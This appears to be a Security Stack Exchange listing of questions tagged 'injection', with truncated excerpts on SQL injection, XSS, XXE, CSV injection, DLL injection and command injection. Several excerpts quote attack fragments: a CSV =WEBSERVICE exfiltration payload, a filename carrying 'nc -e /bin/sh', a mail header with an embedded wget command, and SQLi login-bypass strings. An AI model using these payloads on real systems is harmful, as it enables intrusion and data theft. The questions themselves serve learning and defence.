Questions tagged [injection]

inserting malicious content, usually code (like SQL, Javascript) into a vulnerable application. Is used only if there is no more specific injection tag available (see tag wiki)

Filter by
Sorted by
Tagged with
0
votes
1answer
119 views

Run your own code on chrome:// url?

Recently I've been trying to escape sandbox Chrome OS for fun, bounties, etc. I found you can run straight system commands through chrome:// urls (such as displaying USB Detected message, or something)...
6
votes
2answers
194 views

Does “=cmd” CSV injection still exist in 2020?

I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as: =WEBSERVICE(CONCAT("http://example.com/", CONCAT(...
1
vote
3answers
137 views

Are injection vulnerabilities a design or an implementation flaw?

Are injection vulnerabilities mainly a design or an implementation problem? I'm using SQL injection as an example; I'm interested in other injection vulnerabilities as well. I believe that it is the ...
-1
votes
0answers
71 views

How to detect code injection on linux

is there any way to detect code injection in a running process under linux ? For code injection I don't mean "patching" original binary on the disk, for code injection I mean when for example you ...
0
votes
0answers
46 views

Questions about process hollowing

When it's time to write the malicious image inside the hollowed process, apparently the goal is to allocate memory exactly at the image base address of the hollowed process. Why? Why not allocate ...
1
vote
0answers
47 views

Why does pycharm uses lax security on macOS?

When looking at entitlements on pycharm CE for macOS, it shows many serious security exceptions. Here are its entitlements: <dict> <key>com.apple.security.cs.allow-jit</key> ...
1
vote
2answers
133 views

DLL injector in C doesn't inject the DLL

I am trying to write a DLL injector to perform a DLL injector on a calculator process. I wrote the DLL injector program in C and the DLL but the injector doesn't inject the DLL or any other DLL (I ...
0
votes
2answers
125 views

“Reflected XSS”-like attack on chatbot AI

This is a theoretical question. I just watched a certain video in which the author apparently unmasks a chatbot AI that is likely trying to harvest data and spread influence in a cult-like manner on a ...
0
votes
0answers
44 views

What to consider for determining something as a security flaw?

Recently, I found an iframe injection vulnerability on a website. This website allows users to create projects and name them. So I successfully injected an iframe on the naming function that can ...
3
votes
2answers
167 views

URL parameter manipulation and injection

I have a scenario with 2 sites. Site 1 is mysite.com and Site 2 is secondurl.com. Site 1 is using Wordpress. There, I did a Javascrit/jQuery routine that checks if a given url parameter comes in. If ...
3
votes
2answers
91 views

Are alphanumeric strings safe to pass to a bash script?

I'm currently developing a web service that takes user input and passes it to a bash script as an argument. I know that without sanitizing this allows for remote command execution. So I want to know ...
1
vote
1answer
59 views

Is Server-Side Includes injection really common vulnerability?

Is Server-Side Includes injection really common vulnerability? And how can I detect it - is there some way like automatic tools or some kind of fingerprint test or do I have to just play with input?
1
vote
0answers
67 views

How can i turn this xml injection into a valid XXE? [closed]

I was testing the website example.com and found a form vulnerable to XML Injection. It send the details you insert into that form as xml attachment via email to my email address and also to ...
8
votes
1answer
574 views

Some doubts about SQL Injection examples, how exactly works?

I am a software developer starting studying application security and I have the following doubt related SQL injection. I am following a video course and there are these two examples: I have an ...
1
vote
1answer
67 views

Telcom company injecting javascript in the header of a web-page

The start page of my browser is example.com. Recently, connecting through the main Spanish telcom network (Movistar), I got a different page, with a header showing the name of the this company. This ...
1
vote
0answers
33 views

name file as command [closed]

name file as command Is it possible to put command as filename in Linux For example touch anything.jpg or touch anything Can i change name of file with mv to be anything;nc -e /bin/sh
1
vote
0answers
312 views

C/C++ code injection

I know how we do code injections with scripted languages like JavaScript, SQL, PHP, etc. and pretty much wherever a execute() function is used. However, I'm still unsure about how code injection works ...
1
vote
1answer
64 views

How to protect against injection into a 3rd party REST API?

I have a 3rd party API that I need to connect to and they allow queries that can be formed by changing url parameters. E.g. /data?startDate=2019-01-01 or /data?name='John Doe' It is easy to form ...
0
votes
1answer
275 views

Command injection — filtering bypass [closed]

I am testing a python script that provides a ping function os.system('ping ' + command) all of this characters are filtered '&', ';', '-', '`' , '||', '|' i can't use null bytes like %0A i'...
2
votes
2answers
349 views

Is this Bash code vulnerable to code injection?

I'm writing a libre program named "silently" for enhancing error handling in Bash, emulating the behavior of a jidoka. My question is if that eval would be vulnerable to code injection if the ...
4
votes
1answer
344 views

What are some of the benign use cases of injecting bytes into another process and creating remote thread?

Lets say, you are developing an AV, and marked any type of injecting into another process (for example openning it and writing to it) and creating remote thread malicious. If so, what will be some of ...
1
vote
1answer
90 views

XML External Entity injection within the body of a document

If you Google for an example of XXE injection you get something like this: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe ...
4
votes
3answers
208 views

What is the risk of an attacker inserting new password hashes?

The normal threat model that I see with password hashing is as a kind of defense against if the hash somehow leaks to the wider world. In practice, this appears to usually be via some manner of ...
1
vote
1answer
204 views

Trying to figure out if I was hit by an obscure exploit attempt of some kind

I just had a random occurrence when I went to one of my hosted websites, and saw the page was broken. We host several domains at this IP, but one domain is actually in the server's webroot directory, ...
0
votes
0answers
64 views

XXE OOB and URL Length Limit

How would you read a large file by exploiting an XXE OOB vulnerability through HTTP? The file is very large and exceeds the limit of the URL (2048 characters). Any ideas?
0
votes
1answer
44 views

Character filtration in globalisation supported application

I am working on building an application which will be used in various language , to secure from attacks like xss, SQL injection I thought implementing character filteration (whitelisting/blacking) but ...
0
votes
0answers
150 views

CSS injection: Extract CSRF-token by using inline-css injection

Is it possible to extract CSRF-token by using inline-CSS injection (inside style attribute)? (It seems to be impossible, because it is not possible to define CSS classes inside attributes.) <p ...
0
votes
0answers
81 views

Can server side template injection lead to RCE or other severe consquences in Django?

During a penetration test, I found server side template injection in a Django application that sends templated emails. As far as I can tell, apart from some sensitive information disclosure (thanks to ...
1
vote
1answer
73 views

Why Would A Web Server Allow Loading XML External Entities?

I've been reading up on XXE Injection, and so far every example I've seen has involved a webserver voluntarily loading xml external entities (as below). <?php libxml_disable_entity_loader (false);...
0
votes
0answers
21 views

Executable Code in Mail Headers [duplicate]

Recently I noticed someone delivering email to my server root account with headers like this: X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f45.79.163.30x22}}@host....
0
votes
0answers
40 views

Codeigniter Site hacked [duplicate]

I developed an application using CodeIgniter and used some libraries from the composer. So my Vendor directory was in the root directory of this application. And attacker attacked phpunit/scr/php/...
0
votes
2answers
76 views

Security implications of injection in api http request from frontend?

In my frontend I have something like this: article = httpLibrary.get('api.mysite.com/articles/' + articleId); Where articleId is taken from a URL query parameter (it's injectable). Is this ...
-1
votes
1answer
909 views

SQLI Login Bypass Cheat-sheets Question [duplicate]

Assuming you are authorized to pentest a live website that's login page is vulnerable to SQL Injection. Lets say your backpack has only 2 crafted queries by you which is admin' -- and '=' 'OR'. Your ...
0
votes
1answer
202 views

Exploit include_once in PHP Code

For a project we were asked to find and exploit the "Remote Code Injection" vulnerability of a web application. After hours of search (we have the source code of the web application as it is running ...
0
votes
0answers
140 views

'=' 'OR' SQL Injection Login Bypass Question [duplicate]

I was testing SQLI Cheatsheets on a vulnerable test site. This particular injection '=' 'OR' seems to work on the login page. Why does that injection work? What's the back-end SQL code, if I could ...
1
vote
0answers
128 views

Infected usb drives in mice

I bought a mouse on aliexpress. It was reasonably cheap. It works well enough to be on par with a mouse I can buy here for 4 times the price. I know, this is a well known business model, and those ...
9
votes
1answer
2k views

Sucuri detects malware on wordpress but I can't find the malicious code

Yesterday I got a report asking us to check some wordpress website because the person's antivirus blocked said web. I ran the Sucuri Site Check and it indeed detects malware: "Known javascript ...
1
vote
1answer
136 views

Presistent XSS Filter Bypass Question

I was testing out a stored XSS on a test site I made which is vulnerable so the problem is when I tried executing the usual "><script>alert('XSS')</script> It did not work instead. But ...
1
vote
2answers
635 views

Is it possbile to conduct http header injection attack with a web site or web app uses https?

If a web site or web application is running with https, is it possible to conduct http header attacks like http header injections and so on?
2
votes
1answer
3k views

' OR 1=1/* SQL Injection Login Bypass Question

Recently I came across a SQL Injection Cheat Sheet which contains this particular cheat sheet which I am confused by ' or 1=1/* Assuming I am testing it on this server-side code below. SELECT * FROM ...
0
votes
1answer
256 views

SQL injection authentication bypass

I am testing a SQLi login bypass on the PHP code below: if(isset($_POST["login"]) && isset($_POST["password"])) { $sql="select * from users where login='{$_POST["login"]}' and password='{$...
0
votes
1answer
76 views

What attacking vectors does “background-image” have

I have a web application that loads an image by URL and shows it with the style-tag (background-image). Users can link their image. Would it be possible for a bad actor to fake an image and inject ...
0
votes
0answers
34 views

is xss possible without these chars? [duplicate]

I'm wondering if xss is possible without these chars disallowed/filtered text: < > ! @ # $ % ^ & * : ? = ( ) I'm able to break out of a style attribute of an element by introducing an ending ...
-1
votes
2answers
388 views

Unable to inject cookies

As part of an exercise, I need to sniff cookies from a login page and inject them in the same login page. If the cookie injection is successful the user must be login without entering the user name ...
1
vote
1answer
524 views

Flask/Jinja2 SSTI to get RCE. <type 'file'> not in object subclasses

I'm trying to get RCE in a simple Flask web app I developed, which is vulnerable to server side template injection (SSTI). RCE is usually obtained by uploading the reverse shell script on the target, ...
1
vote
0answers
111 views

Is there any NFC message injection?

Are there any NDEF message smuggling attacks (like http smuggling attack)? When I say it, I mean that I have a full control on the NFC packet. Is it possible to inject another packet into a NFC ...
3
votes
1answer
172 views

Find security weaknesses in this website (exam question)

I am currently studying for a computer security exam and I am stuck on the following question from a past exam paper 1c <form action=”message.php” method=”get”> 2c <p>Message: <input ...
0
votes
0answers
142 views

Shell injection using only [alphanumeric, dashes, colon, period]

I found an html form with a single input field, where the inputted text is used as the argument (or rather just the last part) of a ping command on the server. When submitting the form, the following ...
0
votes
1answer
201 views

Can ClamAV detect CSV Injection?

I'm allowing users to upload CSV files. Other users can download these files. I'm aware that CSV could be an attack vector. Would a ClamAV (or other AV) scan offer protection against such a file? ...
1
vote
1answer
620 views

Beef+ bettercap injection failure?

I am trying to inject beef's hook.js in browser on another pc on my local network. After starting beef and login to the UI I started bettercap in terminal and executed the following command: sudo ...

1 2 3 4 5 8